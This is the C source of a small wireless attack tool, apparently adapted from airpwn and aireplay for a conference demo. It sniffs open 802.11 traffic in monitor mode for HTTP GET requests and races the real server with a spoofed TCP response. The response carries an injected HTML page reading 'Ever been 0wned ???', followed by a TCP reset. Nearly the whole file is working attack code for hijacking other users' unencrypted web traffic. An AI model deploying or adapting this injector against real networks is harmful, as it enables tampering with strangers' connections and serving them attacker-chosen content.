/* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * All the code is heavily stolen from aireplay 2.2 und airpwn and does * something similar to airpwn but not in the least as well * This is something I quickly hacked together for a presentation at the GPN4 in * Karlsruhe. The focus was on getting it working with one card instead of two. * Oh yeah, beware of line 524, i hardcoded something which ain't good but again * no time, no money, and, well guess yourself. * * Have fun, Adrian */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "pcap.h" #include "crctable.h" #include "ieee80211.h" #define NULL_MAC "\x00\x00\x00\x00\x00\x00" #ifndef ETH_P_ALL #define ETH_P_ALL 3 #endif #ifndef ETH_P_80211_RAW #define ETH_P_80211_RAW 25 #endif #ifndef ARPHRD_IEEE80211 #define ARPHRD_IEEE80211 801 #endif #ifndef ARPHRD_IEEE80211_PRISM #define ARPHRD_IEEE80211_PRISM 802 #endif struct airpwn_ctx { // conf_entry *conf_list; // char *in_if; // char *out_if; int inject_sock; libnet_ptag_t tcp_t; libnet_ptag_t ip_t; libnet_t *lnet; // unsigned int verbosity; // FILE *logfile; }; typedef struct airpwn_ctx airpwn_ctx; char *wlanng_dev = NULL; /* interface initialization routine */ int openraw( char *iface, int fd, int *arptype ) { struct ifreq ifr; struct packet_mreq mr; struct sockaddr_ll sll; /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { perror( "ioctl(SIOCGIFINDEX)" ); return( 1 ); } /* bind the raw socket to the interface */ memset( &sll, 0, sizeof( sll ) ); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; if( wlanng_dev ) sll.sll_protocol = htons( ETH_P_80211_RAW ); else sll.sll_protocol = htons( ETH_P_ALL ); if( bind( fd, (struct sockaddr *) &sll, sizeof( sll ) ) < 0 ) { perror( "bind(ETH_P_ALL)" ); return( 1 ); } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { perror( "ioctl(SIOCGIFHWADDR)" ); return( 1 ); } if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM ) { fprintf( stderr, "unsupported hardware link type %d\n" "(expected ARPHRD_IEEE80211{,PRISM})\n", ifr.ifr_hwaddr.sa_family ); fprintf( stderr, "make sure the interface is in Monitor mode\n" ); return( 1 ); } *arptype = ifr.ifr_hwaddr.sa_family; /* enable promiscuous mode */ memset( &mr, 0, sizeof( mr ) ); mr.mr_ifindex = sll.sll_ifindex; mr.mr_type = PACKET_MR_PROMISC; if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof( mr ) ) < 0 ) { perror( "setsockopt(PACKET_MR_PROMISC)" ); return( 1 ); } return( 0 ); } /* wlanng-aware frame sending routing */ unsigned char tmpbuf[4096]; int send_frame( int fd, void *buf, size_t count ) { if( wlanng_dev ) { if( ( ((unsigned char *) buf)[0] & 3 ) != 3 ) { memcpy( tmpbuf, buf, 24 ); memset( tmpbuf + 24, 0, 22 ); tmpbuf[30] = ( count - 24 ) & 0xFF; tmpbuf[31] = ( count - 24 ) >> 8; memcpy( tmpbuf + 46, buf + 24, count - 24 ); count += 22; } else { memcpy( tmpbuf, buf, 30 ); memset( tmpbuf + 30, 0, 16 ); tmpbuf[30] = ( count - 30 ) & 0xFF; tmpbuf[31] = ( count - 30 ) >> 8; memcpy( tmpbuf + 46, buf + 30, count - 30 ); count += 16; } buf = tmpbuf; } return( write( fd, buf, count ) < 0 ); } void displayPacket(unsigned char *h80211, int caplen) { int i,j; for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 256 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\n" ); } void writePacket(char *name, unsigned char *h80211, int caplen) { FILE *f_cap_out = NULL; int n; struct timeval tv; struct pcap_pkthdr pkh; struct pcap_file_header pfh; struct tm *lt; pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = 0; pkh.tv_usec = 0; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( struct pcap_file_header ); if( ( f_cap_out = fopen( name, "wb+" ) ) == NULL ) { perror( "fopen(pcap output,wb+)" ); return; } if( fwrite( &pfh, 1, n, f_cap_out ) != (size_t) n ) { perror( "fwrite(pcap file header)\n" ); return; } n = sizeof( pkh ); if( fwrite( &pkh, 1, n, f_cap_out ) != (size_t) n ) { perror( "fwrite(packet header)" ); return; } n = pkh.caplen; if( fwrite( h80211, 1, n, f_cap_out ) != (size_t) n ) { perror( "fwrite(packet data)" ); return; } } /* * Function to inject a server-to-client packet in response to a * client-to-server packet. w_hdr, ip_hdr and tcp_hdr are the layer 2, * 3 and 4 headers. conf is a pointer to a conf_entry structure * containing the payload to inject. */ void spoof_response(airpwn_ctx *ctx, char *payload, int payload_len, ieee80211_hdr *w_hdr, struct iphdr *ip_hdr, struct tcphdr *tcp_hdr) { char errbuf[LIBNET_ERRBUF_SIZE]; // libnet wants the data in host-byte-order u_int ack = ntohl(tcp_hdr->th_seq) + ( ntohs(ip_hdr->tot_len) - ip_hdr->ihl * 4 - tcp_hdr->th_off * 4 ); ctx->tcp_t = libnet_build_tcp( ntohs(tcp_hdr->th_dport), // source port ntohs(tcp_hdr->th_sport), // dest port ntohl(tcp_hdr->th_ack), // sequence number ack, // ack number TH_PUSH | TH_ACK, // flags 0xffff, // window size 0, // checksum 0, // urg ptr 20 + payload_len, // total length of the TCP packet payload, // response payload_len, // response_length ctx->lnet, // libnet_t pointer ctx->tcp_t // ptag ); if(ctx->tcp_t == -1){ printf("libnet_build_tcp returns error: %s\n", libnet_geterror(ctx->lnet)); return; } ctx->ip_t = libnet_build_ipv4( 40 + payload_len, // length 0, // TOS bits 1, // IPID (need to calculate) 0, // fragmentation 0xff, // TTL 6, // protocol 0, // checksum ip_hdr->daddr, // source address ip_hdr->saddr, // dest address NULL, // response 0, // response length ctx->lnet, // libnet_t pointer ctx->ip_t // ptag ); if(ctx->ip_t == -1){ printf("libnet_build_ipv4 returns error: %s\n", libnet_geterror(ctx->lnet)); return; } // copy the libnet packets to to a buffer to send raw.. char packet_buff[0xffff]; memcpy(packet_buff, w_hdr, IEEE80211_HDR_LEN); ieee80211_hdr *n_w_hdr = (ieee80211_hdr *)packet_buff; // set the FROM_DS flag and swap MAC addresses n_w_hdr->flags = IEEE80211_FROM_DS; n_w_hdr->type = IEEE80211_TYPE_IP; uint8_t tmp_addr[6]; memcpy(tmp_addr, n_w_hdr->addr1, 6); memcpy(n_w_hdr->addr1, n_w_hdr->addr2, 6); memcpy(n_w_hdr->addr2, tmp_addr, 6); u_int32_t packet_len; u_int8_t *lnet_packet_buf; // cull_packet will dump the packet (with correct checksums) into a // buffer for us to send via the raw socket if(libnet_adv_cull_packet(ctx->lnet, &lnet_packet_buf, &packet_len) == -1){ printf("libnet_adv_cull_packet returns error: %s\n", libnet_geterror(ctx->lnet)); return; } memcpy(packet_buff + IEEE80211_HDR_LEN, lnet_packet_buf, packet_len); libnet_adv_free_packet(ctx->lnet, lnet_packet_buf); displayPacket(packet_buff, IEEE80211_HDR_LEN + 40 +payload_len); writePacket("sentPCAP", packet_buff, IEEE80211_HDR_LEN + 40 +payload_len); FILE *fd = fopen("sent", "wb+" ); fwrite( packet_buff, 1, IEEE80211_HDR_LEN + 40 +payload_len, fd); fclose(fd); if(send_frame(ctx->inject_sock, &packet_buff, IEEE80211_HDR_LEN + 40 + payload_len)) perror("send"); printf("wrote %d bytes to fd %d the wire(less)\n", IEEE80211_HDR_LEN + 40 + payload_len, ctx->inject_sock); // follow up the packet with a reset packet if conf tells us to.. ctx->tcp_t = libnet_build_tcp( ntohs(tcp_hdr->th_dport), // source port ntohs(tcp_hdr->th_sport), // dest port ntohl(tcp_hdr->th_ack) + payload_len, // sequence number ack, TH_RST | TH_ACK, // flags 0xffff, // window size 0, // checksum 0, // urg ptr 20, // total length of the TCP packet NULL, // response 0, // response_length ctx->lnet, // libnet_t pointer ctx->tcp_t // ptag ); if(ctx->tcp_t == -1){ printf("libnet_build_tcp returns error: %s\n", libnet_geterror(ctx->lnet)); return; } ctx->ip_t = libnet_build_ipv4( 40 + payload_len, // length 0, // TOS bits 1, // IPID (need to calculate) 0, // fragmentation 0xff, // TTL 6, // protocol 0, // checksum ip_hdr->daddr, // source address ip_hdr->saddr, // dest address NULL, // response 0, // response length ctx->lnet, // libnet_t pointer ctx->ip_t // ptag ); if(libnet_adv_cull_packet(ctx->lnet, &lnet_packet_buf, &packet_len) == -1){ printf("libnet_adv_cull_packet returns error: %s\n", libnet_geterror(ctx->lnet)); return; } memcpy(packet_buff + IEEE80211_HDR_LEN, lnet_packet_buf, packet_len); libnet_adv_free_packet(ctx->lnet, lnet_packet_buf); send_frame(ctx->inject_sock, packet_buff, IEEE80211_HDR_LEN + 40); } int readPacket(int fd_in, fd_set *rfds, unsigned char *buffer) { int caplen=0; /* capture one packet */ FD_ZERO( rfds ); FD_SET( fd_in, rfds ); if( select( fd_in + 1, rfds, NULL, NULL, NULL ) < 0 ) { if( errno == EINTR ) return -1; perror( "select" ); return -2; } if( ! FD_ISSET( fd_in, rfds ) ) return -1; /* one packet available for reading */ memset( buffer, 0, 2048 ); if( ( caplen = read( fd_in, buffer, sizeof( buffer ) ) ) < 0 ) { perror( "read" ); return -3; } } int main( int argc, char *argv[] ) { int i, j, n, z; int fd_rtc, caplen; int fd_in, arptype_in; int arptype_out; int i_bssid, i_smac, i_dmac; int data_start, data_end; int guess, is_deauth_mode; unsigned char buffer[4096]; unsigned char *data_ptr; unsigned char *h80211; ieee80211_hdr *w_hdr; struct iphdr *ip_hdr; struct tcphdr *tcp_hdr; fd_set rfds; airpwn_ctx *ctx = calloc(1, sizeof(airpwn_ctx)); if(ctx == NULL) { perror("calloc"); exit(1); } /* create i/o raw sockets and open /dev/rtc */ if( ( fd_in = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET)" ); return( 1 ); } if( ( ctx->inject_sock = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET)" ); return( 1 ); } char lnet_err[LIBNET_ERRBUF_SIZE]; ctx->lnet = libnet_init(LIBNET_LINK_ADV, "eth0", lnet_err); if(ctx->lnet == NULL){ printf("Error in libnet_init: %s\n", lnet_err); return 1; } /* drop privileges */ setuid( getuid() ); if( memcmp( argv[1], "wlan", 4 ) == 0 ) wlanng_dev = argv[1]; if( openraw( argv[1], ctx->inject_sock, &arptype_out ) != 0 ) return( 1 ); /* open the packet source */ if( argc == 3 ) { if( openraw( argv[argc - 1], fd_in, &arptype_in ) != 0 ) return( 1 ); } else { fd_in = ctx->inject_sock; arptype_in = arptype_out; } while( 1 ) { caplen = 0; /* capture one packet */ FD_ZERO( &rfds ); FD_SET( fd_in, &rfds ); if( select( fd_in + 1, &rfds, NULL, NULL, NULL ) < 0 ) { if( errno == EINTR ) continue; perror( "select" ); return( 1 ); } if( ! FD_ISSET( fd_in, &rfds ) ) continue; /* one packet available for reading */ memset( buffer, 0, 2048 ); if( ( caplen = read( fd_in, buffer, sizeof( buffer ) ) ) < 0 ) { perror( "read" ); return( 1 ); } /* if device is an atheros, remove the FCS */ if( memcmp( argv[argc - 1], "ath", 3 ) == 0 ) caplen -= 4; /* skip the prism header if present */ h80211 = buffer; if( arptype_in == ARPHRD_IEEE80211_PRISM ) { n = *(int *)( buffer + 4 ); if( n < 8 || n >= (int) caplen ) continue; h80211 += n; caplen -= n; } w_hdr = (ieee80211_hdr *) h80211; ip_hdr = (struct iphdr*) (h80211 + IEEE80211_HDR_LEN); tcp_hdr = (struct tcphdr*) (h80211 + IEEE80211_HDR_LEN + (ip_hdr->ihl * 4)); int subtype = ( w_hdr->frame_control & 0xF0 ) >> 4; int type = ( w_hdr->frame_control & 0x0C ) >> 2; int fromDS = (w_hdr->flags & 2) == 2; int toDS = (w_hdr->flags & 1); if(type!=2) continue; if(!toDS) continue; if(w_hdr->type != IEEE80211_TYPE_IP) continue; if(ip_hdr->protocol != IPPROTO_TCP) continue; data_ptr = (u_char*)tcp_hdr + tcp_hdr->th_off * 4; int datalen = caplen-(data_ptr-h80211); // make sure the packet isn't empty.. if(!datalen) continue; if(memcmp(data_ptr,"GET",3)!=0) continue; int ovector[30]; int c; const char *errptr; char host[100]; char file[100]; memset(host,0,100); memset(file,0,100); pcre *match = pcre_compile("GET http://([^/ ]*)/([^ ]*) HTTP", PCRE_MULTILINE, &errptr, &c, NULL); if(pcre_exec(match, NULL, data_ptr, datalen, 0, 0, ovector, 30)>0) { strncpy(host,data_ptr+ovector[2],ovector[3]-ovector[2]); strncpy(file,data_ptr+ovector[4],ovector[5]-ovector[4]); } else { match = pcre_compile("GET ([^ ]*) HTTP", PCRE_MULTILINE, &errptr, &c, NULL); if(pcre_exec(match, NULL, data_ptr, datalen, 0, 0, ovector, 30)>0) { strncpy(file,data_ptr+ovector[2]+1,ovector[3]-ovector[2]); } match = pcre_compile("Host: ([^ ]*)\r\n", PCRE_MULTILINE, &errptr, &c, NULL); if(pcre_exec(match, NULL, data_ptr, datalen, 0, 0, ovector, 30)>0) { strncpy(host,data_ptr+ovector[2],ovector[3]-ovector[2]); } } if(file[0]=='/') continue; /* this one looks good */ printf( "Size: %d, FromDS: %d, ToDS: %d Type: %d Subtype: %d Host: %s File: %s", caplen, fromDS, toDS, type, subtype, host, file ); displayPacket(h80211,caplen); send_frame(ctx->inject_sock,w_hdr,caplen); writePacket("originalPCAP",h80211,caplen); FILE *fd = fopen("original", "wb+" ); fwrite( w_hdr, 1, caplen, fd); fclose(fd); char payload[] = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: 23\nContent-Type: text/html\n\nleoo my dear!\n

Ever been 0wned ???

\n
"; /*
");*/ spoof_response(ctx, (char *) &payload, strlen(payload), w_hdr, ip_hdr, tcp_hdr); } return 0; }